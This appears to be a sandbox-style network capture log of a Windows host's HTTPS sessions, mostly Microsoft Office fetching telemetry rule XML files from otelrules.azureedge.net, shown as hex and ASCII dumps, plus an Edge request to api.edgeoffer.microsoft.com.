2024-11-11 20:59:15 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-11 20:59:15 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-11 20:59:15 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-11 20:59:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-11 20:59:15 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-11 20:59:15 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-11 20:59:15 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-11 20:59:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-11 20:59:15 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-11 20:59:15 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	58667	94.245.104.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:15 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:15 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 11 Nov 2024 20:59:14 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=95b0f45caa65a8edd44ac7b207b161b7310b973b937bdd50dcc50ba93f3b56fd;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=95b0f45caa65a8edd44ac7b207b161b7310b973b937bdd50dcc50ba93f3b56fd;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	58692	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 33d009d3-501e-007b-36d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205917Z-174f7845968jrjrxhC1EWRmmrs00000005mg00000000cens x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:17 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	58677	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c8cfd17a-b01e-0053-1cd5-33cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205917Z-174f7845968vwdr7hC1EWRsh3w00000005b000000000muh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:17 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	58691	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0eb2a1cd-301e-0020-44d5-336299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205917Z-174f7845968vwdr7hC1EWRsh3w00000005ag00000000pm7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:17 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	58693	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 45cb36d2-601e-0070-3cd5-33a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205917Z-174f7845968l4kp6hC1EWRe88400000005ug00000000006v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:17 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	58694	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 8317a370-b01e-0001-33d5-3346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205917Z-174f7845968ljs8phC1EWRe6en00000005ag00000000btu1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	58702	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 55c0910e-d01e-0082-5dd5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205919Z-174f78459685m244hC1EWRgp2c000000059000000000fcwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
